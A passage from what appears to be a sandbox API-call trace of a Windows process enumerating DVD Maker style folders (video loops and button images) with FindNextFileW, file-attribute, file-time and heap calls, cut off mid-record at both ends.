ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0245.318] GetLastError () returned 0x12 [0245.318] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.318] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.319] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0245.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.319] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.320] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9349d8 [0245.320] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9349d8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9349d8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.320] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9349d8) returned 1 [0245.320] NtClose (Handle=0x170) returned 0x0 [0245.320] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.320] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.323] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.323] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0245.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920108 [0245.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9329e8 [0245.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.323] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0245.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920128 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x932af0 [0245.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.324] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920148 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x932bf8 [0245.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.324] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920168 [0245.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x932d00 [0245.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.325] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920188 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x932e08 [0245.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.325] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9201a8 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x932f10 [0245.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.325] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9201c8 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933018 [0245.326] RtlFreeHeap 